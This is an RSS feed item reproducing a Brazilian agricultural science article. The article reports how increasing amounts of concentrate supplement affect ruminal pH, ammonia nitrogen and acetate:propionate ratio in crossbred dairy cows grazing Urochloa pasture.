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	<title>Ciências Agrárias &#8211; ISSN 1678-0817 Qualis/DOI</title>
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	<description>Revista Científica de Alto Impacto.</description>
	<lastBuildDate>Thu, 12 Mar 2026 10:14:24 +0000</lastBuildDate>
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	<title>Ciências Agrárias &#8211; ISSN 1678-0817 Qualis/DOI</title>
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	<item>
		<title>AMBIENTE RUMINAL DE VACAS MESTIÇAS HOLANDÊS X ZEBU EM LACTAÇÃO SOB PASTEJO DE UROCHLOA (BRACHIARIA) SP. SUPLEMENTADAS COM DIFERENTES QUANTIDADES DE CONCENTRADO</title>
		<link>https://revistaft.com.br/ambiente-ruminal-de-vacas-mesticas-holandes-x-zebu-em-lactacao-sob-pastejo-de-urochloa-brachiaria-sp-suplementadas-com-diferentes-quantidades-de-concentrado/</link>
		
		<dc:creator><![CDATA[Revistaft RA]]></dc:creator>
		<pubDate>Fri, 27 Feb 2026 14:22:49 +0000</pubDate>
				<category><![CDATA[Ciências Agrárias]]></category>
		<category><![CDATA[Volume 30 – Edição 155/FEV 2026]]></category>
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					<description><![CDATA[RUMINAL ENVIRONMENT OF MILKING DAIRY COWS UNDER UROCHLOA (BRACHIARIA) SP. GRAZING AND SUPPLEMENTED WITH INCREASE AMOUNT OF CONCENTRATE FEED REGISTRO DOI: 10.69849/revistaft/ra10202602271122 Maria Clara de Morais Pessoa1Antônio Gabriel Neves de Moura Richard1*Breno Mourão de Sousa2Helton Mattana Saturnino3Ana Luiza Costa Cruz Borges3 RESUMO Objetivando qualificar o efeito da suplementação com concentrado sobre os parâmetros ruminais (pH, [&#8230;]]]></description>
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<p class="wp-block-paragraph">RUMINAL ENVIRONMENT OF MILKING DAIRY COWS UNDER UROCHLOA (BRACHIARIA) SP. GRAZING AND SUPPLEMENTED WITH INCREASE AMOUNT OF CONCENTRATE FEED</p>



<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/ra10202602271122</p>



<hr class="wp-block-separator has-text-color has-luminous-vivid-amber-color has-alpha-channel-opacity has-luminous-vivid-amber-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph">Maria Clara de Morais Pessoa<sup>1</sup><br>Antônio Gabriel Neves de Moura Richard<sup>1*</sup><br>Breno Mourão de Sousa<sup>2</sup><br>Helton Mattana Saturnino<sup>3</sup><br>Ana Luiza Costa Cruz Borges<sup>3</sup></p>



<hr class="wp-block-separator has-text-color has-luminous-vivid-amber-color has-alpha-channel-opacity has-luminous-vivid-amber-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><strong>RESUMO</strong></p>



<p class="wp-block-paragraph">Objetivando qualificar o efeito da suplementação com concentrado sobre os parâmetros ruminais (pH, nitrogênio amoniacal e relação molar acetato:propionato), três vacas lactantes, mestiças, canulada no rúmen e consumindo pasto de <em>Urochloa (Brachiaria) </em>sp. foram utilizadas, e suplementadas com 4, 6 ou 8 kg/vaca/dia de concentrado na matéria natural, no momento da ordenha, duas vezes ao dia. Foi extraído líquido ruminal nos seguintes tempos referentes à primeira oferta de concentrado, durante ordenha da manhã: 0, 1, 3, 5, 7, 9, 10, 12, 14, 17 e 24 horas. O líquido foi utilizado para leitura de pH e determinação da concentração de nitrogênio amoniacal (mg/dL) e da relação acetato:propionato. O experimento foi delineado em quadrado latino 3 x 3, em esquema de parcela subdividida. O aumento na quantidade de concentrado reduziu o pH (6,7; 6,6 e 6,4, P&lt;0,05) e aumentou a concentração de nitrogênio amoniacal (11,1; 12,3 e 15,0 mg/dL, P&lt;0,05) no líquido ruminal para vacas suplementadas com 4, 6 e 8 kg/vaca/dia, respectivamente. Não houve efeito do suplemento (P&gt;0,05) na relação acetato:propionato (média: 3,2). A suplementação crescente com concentrado para vacas lactantes em regime de pastejo criou ambiente ruminal satisfatório para o desenvolvimento da microbiota, favorecendo o consumo de pasto por vacas em lactação.&nbsp;</p>



<p class="wp-block-paragraph"><strong>Palavras-chave:</strong> &nbsp;ácidos graxos voláteis, nitrogênio amoniacal, pasto, rúmen, suplementação&nbsp;</p>



<p class="wp-block-paragraph"><strong>ABSTRACT</strong></p>



<p class="wp-block-paragraph">The objective of the experiments was to evaluate the effect of the amount of concentrate fed into ruminal fluid pH, ammonium nitrogen and acetate:propionate molar ratio of lactating dairy cows grazing <em>Urochloa (Brachiaria) </em>sp.grass. Three rumen canulated milking cows were used and random divided in three treatments to receive 4, 6 or 8 kg of concentrate daily, as fed, divided equally to the am and pm milking time. Ruminal fluid was removed from canulated cows before the first meal at milking time (time zero) and at 1, 3, 5, 7, 9, 12, 14, 17, 24 hours. The experiment was a latin aquare design (3&#215;3) at a split splot scheme. As the time of increasing the amount of concentrate fed the pH decreased (6.7; 6.6 and 6.4, P&lt;0,05) and the ammonium nitrogen increased (11.1; 12.3 and 15.4 mg/dl, P&lt;0,05) for 4, 6 or 8 kg//cow/day of concentrate, respectively. No difference (P&gt;0,05) was observed on acetate:propionate molar ratio (average of 3.2). It was concluded that rumen environment satisfies microbial requirements for optimal growth, without negative influence on pasture dry matter intake.&nbsp;</p>



<p class="wp-block-paragraph"><strong>Keywords:</strong> ammonium nitrogen, pasture, rumen, supplementation, volatile fatty acid&nbsp;</p>



<p class="wp-block-paragraph"><strong>INTRODUÇÃO</strong></p>



<p class="wp-block-paragraph">O Brasil é um país com grande potencial para produção de leite com vacas a pasto. No ano de 2008, o país ocupava a sexta posição entre os maiores produtores de leite, com 20,5 milhões de vacas ordenhadas e produção de 26 bilhões de litros de leite por ano. Grande parte desta produção é oriunda de sistemas de produção baseados em pastagens, uma vez que 80% do território nacional encontram-se na faixa tropical.&nbsp;</p>



<p class="wp-block-paragraph">A fim de aumentar a lucratividade na atividade leiteira, a produção intensiva de leite baseado em sistemas de confinamento está cada vez mais disseminada no Brasil, mas trata-se de um sistema que onera muito os custos de produção. Nesse cenário, a produção intensiva de leite a pasto está sendo novamente reavaliada como solução para as modernas propriedades leiteiras.&nbsp;</p>



<p class="wp-block-paragraph">Uma série de fatores condiciona a produção de leite em pastagens manejadas intensivamente: aptidão leiteira da vaca, a qualidade do pasto, a disponibilidade de pasto (pressão de pastejo), o rendimento forrageiro da pastagem (capacidade suporte), o sistema de pastejo e a suplementação da pastagem (Gomide, 1993). Segundo Alvim et al. (1999), a utilização de suplemento concentrado na dieta de vacas em lactação assume maior ou menor importância em razão do potencial de produção de leite do animal e da fase de lactação que se encontram. Ainda para os mesmos autores, o limite para produção de leite de vacas em pastagens de clima tropical não ultrapassa 4.500 kg/vaca/lactação, sendo esse limite determinado pelo alto conteúdo de fibra e pela baixa digestibilidade da mesma. Em sistemas de produtividade superior, torna-se fundamental a suplementação com alimentos concentrados.&nbsp;</p>



<p class="wp-block-paragraph">No entanto, estas quantidades de concentrado podem provocar mudanças drásticas no ambiente retículo-ruminal, beneficiando ou prejudicando os processos fermentativos microbianos, sendo nesse último caso, capaz de reduzir a qualidade e a quantidade de energia disponível para a vaca em lactação em regime de pastejo intensivo. Logo, o desafio para a utilização eficiente da pastagem é o ajuste entre o programa de suplementação da pastagem e a disponibilidade da gramínea pastejada (Hoffman et al., 1993; Santos et al, 2007).&nbsp;</p>



<p class="wp-block-paragraph">Segundo Van Soest (1994), o ambiente ruminal representa a relação entre o valor do pH, da concentração de nitrogênio-amoniacal (N-NH<sub>3</sub>, mg/dl) e da relação molar entre acetato e propionato (A:P) no líquido retículo-ruminal. Segundo Vasquez (2002), os parâmetros ruminais permitem conhecer em que condições se encontra o ambiente retículo-ruminal durante a fermentação do alimento ingerido.&nbsp;</p>



<p class="wp-block-paragraph">Foi objetivo desse trabalho qualificar o efeito da quantidade crescente de suplemento concentrado sobre os parâmetros retículo-ruminais (pH, concentração de N-NH<sub>3</sub> e relação molar entre acetato:propionato) de vacas mestiças pastejando gramíneas do gênero <em>Urochloa (Brachiaria) </em>sp.&nbsp;</p>



<p class="wp-block-paragraph"><strong>MATERIAL E MÉTODOS</strong></p>



<p class="wp-block-paragraph">O experimento foi conduzido em propriedade particular de bovinos leiteiros no município de Leandro Ferreira, Minas Gerais, a cerca de 100 km a oeste de Belo Horizonte, latitude 19º 43’ S, longitude 45º 01’ O e altitude de 707 m. Foram utilizadas três vacas mestiças Holandês x Zebu, em lactação, canuladas no rúmen, com cânulas de borracha de 100 mm de diâmetro. As vacas estavam produzindo 8,2 Kg leite/dia, com mais de 240 dias em lactação, pesando 455 Kg.&nbsp;</p>



<p class="wp-block-paragraph">Os animais experimentais foram distribuídos em um quadrado latino 3 x 3, com três períodos de 14 dias, sendo 7 dias para adaptação e outros 7 dias para amostragens. Os animais pastejavam piquetes mistos de <em>Urochloa (Brachiaria) ruziziensis</em> e <em>Urochloa (Brachiaria) decumbens</em>, com predomínio desta última. As vacas foram suplementadas com quantidades crescentes de alimento concentrado, cuja formulação, na matéria natural (MN) foi: 75,5% de fubá de milho, 22,5% de farelo de soja, 1% de ureia agrícola e 1% de calcário calcítico). Os tratamentos foram baseados na quantidade de suplemento ofertado por dia: 4,0; 6,0 e 8,0 kg/MN de concentrado<sup>1</sup>. Água à vontade.&nbsp;</p>



<p class="wp-block-paragraph">As vacas experimentais foram ordenhadas duas vezes ao dia, sempre iniciando no mesmo horário, às 07h30min e às 16h00min, ocasião em que o alimento concentrado era fornecido, em duas quantidades iguais.&nbsp;</p>



<p class="wp-block-paragraph">Foram feitas coletas individuais de líquido ruminal diretamente no rúmen (saco ventral), utilizando-se tecidos individuais de algodão para extração e filtros individuais para filtragem do líquido. Essa coleta foi feita nos seguintes horários, referente ao primeiro arraçoamento na ordenha da manhã: 0 (minutos antes do primeiro arraçoamento e da ordenha diurna), 1, 3, 5, 9, 10, 12, 14, 17 e 24 horas, totalizando 10 amostras, divididas em três subamostras. Para cada tempo de coleta, as três vacas experimentais foram deslocadas em conjunto do piquete para o curral, onde todo o procedimento de coleta do líquido ruminal foi realizado (durante o deslocamento). Do momento de saída das vacas do piquete até seu retorno, passando pela coleta de líquido ruminal, o tempo médio de operação foi de 25 minutos. Este procedimento foi realizado para fins de simular o deslocamento das vacas em lactação da propriedade rural e garantir o máximo de semelhança com o manejo da propriedade.&nbsp;</p>



<p class="wp-block-paragraph">A primeira subamostra foi utilizada para imediata leitura de pH, em potenciômetro digital portátil, pHTek<sup>®</sup>, com variação de 0,1, e continuamente ajustado para padrão pH 4,0 e 7,0 a cada nove leituras. A segunda subamostra foi acidificada em ácido metafosfórico 25% (2 mL para cada 10 mL de líquido ruminal) e congelada (-5ºC). Após descongelamento em temperatura ambiente, a subamostra foi centrifugada e analisada em cromatografia gasosa para concentração molar (mM) total e individual dos ácidos graxos voláteis (acetato, propionato, butirato), utilizando aparelho de cromatografia gasosa GC-17A SHIMADZU. A relação molar acetato:proprionato (A:P) foi determinada pela razão da concentração molar (mM) no líquido ruminal de acetato pela de proprionato. A terceira subamostra foi acidificada em H<sub>2</sub>SO<sub>4</sub> 50% v/v (1,0 mL de H<sub>2</sub>SO<sub>4</sub> 50% para 50 mL de amostra de líquido) e congelada (-5ºC). Após descongelamento, foi feita a determinação da concentração de nitrogênio amoniacal no líquido ruminal (mg/dL N-NH<sub>3</sub>).&nbsp;</p>



<p class="wp-block-paragraph">O delineamento utilizado foi o Quadrado Latino 3 x 3, em esquema de parcelas subdivididas, estando nas parcelas os tratamentos (quantidade de suplemento concentrado) e nas subparcelas os tempos de coleta de líquido ruminal. A equação matemática para ajuste das variáveis medidas pode ser observada a seguir:&nbsp;</p>



<figure class="wp-block-image size-full"><img decoding="async" width="402" height="49" src="https://revistaft.com.br/wp-content/uploads/2026/02/image-525.png" alt="" class="wp-image-266272" srcset="https://revistaft.com.br/wp-content/uploads/2026/02/image-525.png 402w, https://revistaft.com.br/wp-content/uploads/2026/02/image-525-300x37.png 300w" sizes="(max-width: 402px) 100vw, 402px" /></figure>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="756" height="159" src="https://revistaft.com.br/wp-content/uploads/2026/02/image-526.png" alt="" class="wp-image-266273" srcset="https://revistaft.com.br/wp-content/uploads/2026/02/image-526.png 756w, https://revistaft.com.br/wp-content/uploads/2026/02/image-526-300x63.png 300w" sizes="(max-width: 756px) 100vw, 756px" /></figure>



<p class="wp-block-paragraph">As médias das variáveis testadas foram analisadas pelo programa Sisvar (DEX/UFLA), Versão 4.6, Build 62 (2003), utilizando o seguinte critério: 1) Teste t de “Student” quando as médias foram comparadas entre os tratamentos, para um mesmo tempo de coleta e 2) Teste SNK “Student-Newman-Keuls” quando se desejou comparar as médias dentro de um mesmo tratamento, mas entre tempos de coleta diferentes. Os testes para comparações múltiplas foram analisados para um <strong>α</strong> = 0,05. </p>



<p class="wp-block-paragraph"><strong>RESULTADOS E DISCUSSÃO</strong></p>



<p class="wp-block-paragraph">A análise de variância não mostrou efeito (P&gt;0,05) da interação tempo x tratamento para as variáveis medidas do ambiente retículo-ruminal (pH, N-NH<sub>3</sub>, e relação A:P). Logo, os dados serão analisados e interpretados a partir dos valores médios e de suas respectivas significâncias.&nbsp;</p>



<p class="wp-block-paragraph">Os valores de pH no líquido ruminal de vacas mestiças em lactação manejadas em condições de pastejo em <em>Urochloa (Brachiaria) </em>e suplementadas com quantidades crescentes de concentrado, encontram-se na Tabela 1.&nbsp;</p>



<p class="wp-block-paragraph">Ao longo de um período de 24 horas, podem ser observadas variações nos valores de pH relacionados ao momento do fornecimento de suplemento. Os maiores valores de pH foram observados nos tempos 9 e 10: 6,74 e 6,72, respectivamente. Para o primeiro período de fornecimento do suplemento concentrado (entre 0 e 5 horas), o pH não foi diferente (P&gt;0,05) entre os tratamentos, variando entre 6,51 a 6,59, o que não foi verificado para o segundo período de suplementação (entre 9 e 24 horas). Três horas após o segundo fornecimento de suplemento concentrado, o pH reduziu para seu menor valor (9 horas: 6,74; 12 horas: 6,47; P&lt;0,05), mantendo-se baixo (P&lt;0,05) por outras seis horas (14 horas: 6,42; 17 horas: 6,48), mas voltando ao valor original (0 hora) no tempo 24 horas: 6,64 (P&gt;0,05). Portanto, para os valores médios observados de pH, pode-se afirmar que o nadir (menor valor) foi com três horas após o fornecimento de suplemento.&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph">Tabela 1: Valores de pH no líquido ruminal para vacas em lactação em função da quantidade de suplemento concentrado ofertado, na matéria natural (kg MN)*&nbsp;</p>



<figure class="wp-block-image aligncenter size-full"><img decoding="async" width="790" height="330" src="https://revistaft.com.br/wp-content/uploads/2026/02/image-527.png" alt="" class="wp-image-266274" srcset="https://revistaft.com.br/wp-content/uploads/2026/02/image-527.png 790w, https://revistaft.com.br/wp-content/uploads/2026/02/image-527-300x125.png 300w, https://revistaft.com.br/wp-content/uploads/2026/02/image-527-768x321.png 768w" sizes="(max-width: 790px) 100vw, 790px" /></figure>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="785" height="96" src="https://revistaft.com.br/wp-content/uploads/2026/02/image-532.png" alt="" class="wp-image-266280" srcset="https://revistaft.com.br/wp-content/uploads/2026/02/image-532.png 785w, https://revistaft.com.br/wp-content/uploads/2026/02/image-532-300x37.png 300w, https://revistaft.com.br/wp-content/uploads/2026/02/image-532-768x94.png 768w" sizes="(max-width: 785px) 100vw, 785px" /></figure>



<p class="wp-block-paragraph">Analisando os valores médios de pH entre os tratamentos, observou-se que o aumento na quantidade de suplemento concentrado ofertado foi acompanhado de redução significativa no pH do líquido retículo-ruminal, sendo os valores para os tratamentos com 4, 6 e 8 Kg MN/vaca/dia de 6,67; 6,59 e 6,43, respectivamente (P&lt;0,05). Os resultados estão dentro da faixa de variação mencionada por Campos et al. (2007) entre 5,9 a 6,4 para vacas em pastejo de gramíneas tropicais.&nbsp;</p>



<p class="wp-block-paragraph">Ao longo de um período de 24 horas de estudo, não foi observada redução do pH do líquido retículo-ruminal abaixo do limite crítico de 6,1 mencionado pela literatura (Chesson e Forsberg, 1988) como inibidor de bactérias celulolíticas.&nbsp;</p>



<p class="wp-block-paragraph">Vasquez (2002) suplementou novilhas da raça Holandês, pastejando <em>Panicum maximum</em> cv. Tanzânia, com 0; 300 e 900 g/dia de MN de concentrado (fubá de milho, polpa cítrica, farinha de mandioca, melaço em pó). Os valores de pH relatados pelo autor foram, respectivamente, 6,4; 6,4 e 6,3. Patrizi (2004) suplementou a pastagem de <em>Pennisetum purpureum</em> (cv. Napier) com 9 kg/dia de MN de concentrado para vacas leiteiras mestiças Holandês x Zebu. Mota et al. (2010) trabalharam com vacas suplementadas com 2,7 e 5,4 kg/dia MS de concentrado em pastejo de <em>Cynodon dactylon</em> cv. “coastcross” e obtiveram variação de pH ruminal entre 6,4 a 6,9. Em sua revisão, Reis e Sousa (2008) mencionaram média de pH ruminal para vacas leiteiras a pasto e suplementadas por alimento concentrado de 6,4. Todos os valores acima mencionados estão próximos do pH médio relatado pelo presente experimento (6,6).</p>



<p class="wp-block-paragraph">Goularte et al. (2010) testaram diferentes níveis de concentrado (30, 40, 50 e 60% da dieta, dietas isoproteicas) em vacas canuladas e reportaram que o pH ruminal médio foi relativamente estável entre os tratamentos (6,71; 6,64; 6,63; 6,69 para os níveis crescentes), indicando que os incrementos de concentrado avaliados não levaram a reduções pronunciadas do pH capazes de comprometer a fermentação celulolítica.</p>



<p class="wp-block-paragraph">No trabalho de Mota et al. (2010), que avaliou o efeito do aumento do nível de concentrado (referência a 25%, 50% e 75% concentrado nas dietas em experimentos com bovinos), os autores relataram redução do pH ruminal à medida que a proporção de concentrado aumentou, citando variação de pH de 6,83 (maior proporção volumoso) até 5,51 (maior proporção de concentrado) em testes comparativos. Esse decréscimo linear do pH com o aumento da fração de concentrado ilustra que dietas com alta participação de concentrado podem sim afetar o ambiente ruminal a ponto de reduzir a atividade celulolítica, dependendo do nível e da composição do concentrado.</p>



<p class="wp-block-paragraph">Observa-se que os valores de pH, após o fornecimento de concentrado no período da tarde (9 horas), apresentaram resultados relativamente mais baixo quando comparados àqueles após o fornecimento da manhã (0 horas). Segundo Reis (1998) e Reis e Combs (2000), durante o período diurno a taxa fotossintética das plantas é alta, induzindo aumento progressivo de carboidratos facilmente fermentados na MS da planta pastejada, como a sacarose. Como a concentração destes carboidratos na planta é maior durante o pastejo da tarde em relação ao mesmo pastejo da manhã, é natural que o maior consumo de açúcares facilmente fermentados pelo animal durante o período da tarde induzisse maior redução no pH durante este período no rúmen.&nbsp;</p>



<p class="wp-block-paragraph">Outra explicação foi comentada nos trabalhos do NRC (2001) e de Krause e Combs (2003). Segundo os autores, durante o período da manhã, o rúmen está mais cheio, havendo maior proporção de alimento volumoso que de alimento concentrado recémingerido, mesmo com base em MS. No período da tarde, o rúmen está mais vazio e quando o animal consome concentrado, há maior proporção de MS deste alimento que de volumoso. Logo, o maior conteúdo durante o período da manhã promove efeito tampão ou de diluição, reduzindo a produção de ácidos graxos por unidade de tempo, prevenindo a redução abrupta no pH neste período em relação ao período correspondente da tarde.&nbsp;</p>



<p class="wp-block-paragraph">Os valores de nitrogênio amoniacal (N-NH<sub>3</sub>) no líquido ruminal de vacas mestiças em lactação manejadas em condições de pastejo em <em>Urochloa (Brachiaria) </em>e suplementadas com quantidades crescentes de concentrado encontram-se na Tabela 2.&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph">Tabela 2: Concentração de nitrogênio amoniacal (N-NH<sub>3</sub>, mg/dL) no líquido ruminal em função da quantidade de alimento concentrado ofertado, na matéria natural (kg MN)*&nbsp;</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="787" height="333" src="https://revistaft.com.br/wp-content/uploads/2026/02/image-528.png" alt="" class="wp-image-266275" srcset="https://revistaft.com.br/wp-content/uploads/2026/02/image-528.png 787w, https://revistaft.com.br/wp-content/uploads/2026/02/image-528-300x127.png 300w, https://revistaft.com.br/wp-content/uploads/2026/02/image-528-768x325.png 768w" sizes="(max-width: 787px) 100vw, 787px" /></figure>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="783" height="99" src="https://revistaft.com.br/wp-content/uploads/2026/02/image-531.png" alt="" class="wp-image-266279" srcset="https://revistaft.com.br/wp-content/uploads/2026/02/image-531.png 783w, https://revistaft.com.br/wp-content/uploads/2026/02/image-531-300x38.png 300w, https://revistaft.com.br/wp-content/uploads/2026/02/image-531-768x97.png 768w" sizes="(max-width: 783px) 100vw, 783px" /></figure>



<p class="wp-block-paragraph">Os maiores valores (P&lt;0,05) foram observados uma hora após a suplementação, tanto no primeiro quanto no segundo momento de fornecimento do alimento concentrado, ou seja, 20,95 mg/dL (1 hora) e 22,50 mg/dL (10 horas), lembrando que são dados médios sob análise. Os tempos de 0, 5, 9, 14, 17 e 24 horas apresentaram os menores valores: 9,24; 10,52; 9,61; 10,15; 7,87 e 8,23 mg/dL, respectivamente, não diferenciando entre si (P&gt;0,05). Os tempos 3 (14,54 mg/dL) e 12 horas (14,36 mg/dL) apresentaram valores intermediários, mas diferentes (P&lt;0,05) em relação aos outros tempos.&nbsp;</p>



<p class="wp-block-paragraph">A concentração média de N-NH<sub>3</sub> no líquido ruminal para o tratamento com 8 kg/dia de concentrado suplementado foi superior à média do tratamento com 4 kg/dia (15,04 x 11,09 mg/dL, P&lt;0,05), sendo que a concentração observada para 6 kg/dia intermediária (média de 12,27 mg/dL, P&gt;0,05). Essas diferenças podem ser explicadas pelo consumo crescente de proteína bruta (g/dia de PB) com o aumento da quantidade de concentrado suplementado. A concentração de N-NH<sub>3</sub> no retículo-rúmen neste experimento ficou dentro da amplitude considerada ótima, ou seja, entre 5 mg/dL (para máxima fermentação microbiana) e 23 mg/dL (máxima síntese microbiana) (Franco et al., 2002), mas abaixo da faixa apresentada por Campos et al. (2007) para vacas em pastejo de gramíneas tropicais: entre 26 a 28 mg/dL.&nbsp;</p>



<p class="wp-block-paragraph">Patrizi (2004) observou valores médios de 19,9 mg/dL, em vacas suplementadas com 9 kg/dia de MN de concentrado. Na revisão de Reis e Sousa (2008), os autores mencionaram valor médio de N-NH<sub>3</sub> para vacas a pasto e suplementadas com alimento concentrado de 19,1 mg/dL, valores mais elevados que a média geral deste experimento: 12,8 mg/dL. Uma possível explicação para a menor concentração potencial de N-NH<sub>3</sub> relatada nesse experimento em relação à maioria da literatura consultada foi a concentração de PB no alimento volumoso pastejado. Enquanto nesse experimento as vacas pastejaram um volumoso com média de 11,5% PB, no experimento de Benedetti (1994), Vasquez (2002) e Campos et al. (2007), a média de PB dos alimentos volumosos utilizados foi de 14,0%. Corroborando com esta discussão está o trabalho de Mota et al. (2010), que encontraram valor de N-NH<sub>3</sub> variando de 6,2 a 10,9 mg/dL, próximos aos deste experimento, pois trabalharam com pasto de “coastcross” (11,7% de PB).&nbsp;</p>



<p class="wp-block-paragraph">Segundo Goularte et al. (2010), em dietas isoproteicas e com proporções de concentrado de 30, 40, 50 e 60% na MS), as concentrações médias de N-NH₃ observadas foram 37,40; 39,62; 35,59 e 34,13 mg/100 mL de líquido ruminal para os quatro níveis, sem tendência única de aumento com maior concentrado, possivelmente em função do caráter isonitrogenado das dietas e da diferença na composição lipídica entre tratamentos. Tais resultados são muito maiores que os observado neste experimento, provavelmente pelo maior consumo de proteína bruta dos animais experimentais do pesquisador. O estudo de Gutierrez et al. (2018), realizado com vacas mestiças em pastagens tropicais, demonstrou que a suplementação aumentou a ingestão e retenção de nitrogênio, elevando a eficiência de utilização do N e reduzindo proporcionalmente a excreção urinária. As concentrações ruminais de N-NH₃ permaneceram dentro da faixa ideal (8–12 mg/dL), indicando boa sincronização entre oferta de proteína degradável e fermentação (Satter e Slyter, 1974).</p>



<p class="wp-block-paragraph">A relação molar entre o acetato e o propionato (A:P) no líquido ruminal de vacas mestiças em lactação manejadas em condições de pastejo em <em>Urochloa (Brachiaria) </em>e suplementadas com quantidades crescentes de concentrado, encontram-se na Tabela 3.&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph">Tabela 3: Relação molar acetato:propionato (A:P) no líquido ruminal para vacas em lactação em função da quantidade de alimento concentrado ofertado, na matéria natural (Kg MN)*</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="787" height="330" src="https://revistaft.com.br/wp-content/uploads/2026/02/image-529.png" alt="" class="wp-image-266276" srcset="https://revistaft.com.br/wp-content/uploads/2026/02/image-529.png 787w, https://revistaft.com.br/wp-content/uploads/2026/02/image-529-300x126.png 300w, https://revistaft.com.br/wp-content/uploads/2026/02/image-529-768x322.png 768w" sizes="(max-width: 787px) 100vw, 787px" /></figure>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="785" height="95" src="https://revistaft.com.br/wp-content/uploads/2026/02/image-533.png" alt="" class="wp-image-266281" srcset="https://revistaft.com.br/wp-content/uploads/2026/02/image-533.png 785w, https://revistaft.com.br/wp-content/uploads/2026/02/image-533-300x36.png 300w, https://revistaft.com.br/wp-content/uploads/2026/02/image-533-768x93.png 768w" sizes="(max-width: 785px) 100vw, 785px" /></figure>



<p class="wp-block-paragraph">A média da relação molar A:P no tempo de 3 h (3,55) foi maior (P&lt;0,05) que no tempo de 14 h (2,81). Nos tempos remanescentes, os valores foram intermediários (P&gt;0,05), não diferindo para os dois tempos acima citados: 0 (3,16); 1 (3,37); 5 (3,06); 9 (3,26); 10 (3,12); 12 (3,07); 17 (2,96) e 24 (3,18). Não foi observada diferença para a relação molar média entre os tratamentos (P&gt;0,05), sendo de 3,33; 3,23 e 2,91 para aqueles com suplementação de 4, 6 e 8 Kg concentrado/vaca/dia, respectivamente.&nbsp;</p>



<p class="wp-block-paragraph">Trabalhando com novilhas mestiças Holandês x Zebu em pasto de <em>Panicum maximum</em> cv. Tanzânia, Vasquez (2002) reportou relação molar A:P de 3,5, 3,4 e 3,1 respectivamente para os tratamentos controle e suplementados com 300 e 900 gramas de um suplemento energético. Portanto, a média obtida neste experimento (3,2) encontra-se próximo da faixa de variação de resultados nacionais mencionadas por Campos et al. (2007) e Reis e Sousa (2008) de 3,0 + 0,3. Resultados muito próximos também foram obtidos na literatura estrangeira. Reis e Combs (2000) e Bargo et al. (2003), mencionaram resultados médios de 3,3 e 3,1, respectivamente.&nbsp;</p>



<p class="wp-block-paragraph">No experimento de Chapaval et al. (2008), doze fêmeas bovinas, não lactantes e não gestantes, dotadas de cânulas ruminais distribuídas foram distribuídas em blocos casualizados. Estes animais foram alimentados à vontade com feno Russel grass (<em>Cynodon</em> sp) e concentrados nas proporções de 25%, 50% ou 75% com base na matéria seca. Com relação ao tempo de amostragem, observa-se que as diferenças entre tratamentos para a relação acetato: propionato estão mais pronunciadas a partir das 8 horas após administrar a primeira refeição, e variaram (na média) entre 2,98 (75% de concentrado) até 6,04 (25% de concentrado). No tempo, assim como nesse experimento, os menores valores de relação A:P foram obtidos após o tempo de 3 a 6 horas, mostrando redução da relação A:P após a refeição.&nbsp;</p>



<p class="wp-block-paragraph"><strong>CONCLUSÃO</strong></p>



<p class="wp-block-paragraph">A adição crescente de alimento concentrado proteico-energético para vacas em lactação sob pastejo de gramínea do gênero <em>Urochloa (Brachiaria) </em>sp. provocou flutuações nas variáveis retículo-ruminal de pH, N-NH<sub>3</sub> e relação molar acetato:propionato, mas não foram consideradas hostis à microbiota, não havendo redução no valor de pH abaixo do valor crítico de 6,1 de inibição da fermentação da celulose ou déficits de nitrogênio.&nbsp;</p>



<p class="wp-block-paragraph"><strong>AGRADECIMENTO</strong></p>



<p class="wp-block-paragraph">Os autores agradecem a equipe PRODAP pelas instalações físicas que permitiram a execução desse projeto, bem como pelo financiamento dele.</p>



<hr class="wp-block-separator has-text-color has-black-color has-alpha-channel-opacity has-black-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><sup>1</sup>89% de matéria seca, 19,8% de proteína bruta, 24,2% de fibra em detergente neutro corrigido para nitrogênio, 52% de carboidratos não fibrosos, 1,4% de extrato etéreo e 2,6% de matéria mineral.</p>



<p class="wp-block-paragraph"><strong>REFERÊNCIAS BIBLIOGRÁFICAS</strong></p>



<p class="wp-block-paragraph">ALVIM, M.J., VERNEQUE, R.S., VILELA, D. et al. Estratégia de fornecimento de concentrado para vacas da raça holandesa em pastagens de coast-cross. <strong>Pesquisa Agropecuária Brasileira</strong>. v.34, n.9, p.1711-1720, 1999.&nbsp;</p>



<p class="wp-block-paragraph">BARGO, F., MULLER, L.D., KOLVER, E.S. et al. Invited review: Production and digestion supplemented dairy cows on pasture. <strong>Journal of Dairy Science</strong>. v.86, n.1, p.1-42, 2003.&nbsp;</p>



<p class="wp-block-paragraph">BENEDETTI, E. <strong>Atributos de três gramíneas tropicais, parâmetros ruminais e produção de leite em vacas mestiças mantidas à pasto</strong>. 1994. 173p. Tese (Doutorado em Ciência Animal) – Escola de Veterinária da Universidade Federal de Minas Gerais, Belo Horizonte.&nbsp;</p>



<p class="wp-block-paragraph">BERZAGHI, P., HERBEIN, J.H., POLAN, C.E. Intake, site, and extent of nutrient digestion of lactating cows grazing pasture. <strong>Journal of Dairy Science</strong>. v.79, n.9, p.1581-1589, 1996.&nbsp;</p>



<p class="wp-block-paragraph">CAMPOS, W.E., BENEDETTI, E., RODRIGUEZ, N.M. et al. Cinética ruminal de vacas leiteiras a pasto consumindo diferentes tipos de gramíneas tropicais. <strong>Archivos de Zootecnia</strong>. v.56, n.216, p.829-837, 2007.&nbsp;</p>



<p class="wp-block-paragraph">CHAPAVAL, L., MELOTTI, L., ROSSI JR., P. et al. Relação volumoso concentrado sobre as concentrações ruminais de amônia, pH e ácidos graxos voláteis em vacas leiteiras mestiças. <strong>Revista Brasileira Saúde e Produção Animal</strong>. v.9, n.1, p. 18-28, 2008.&nbsp;</p>



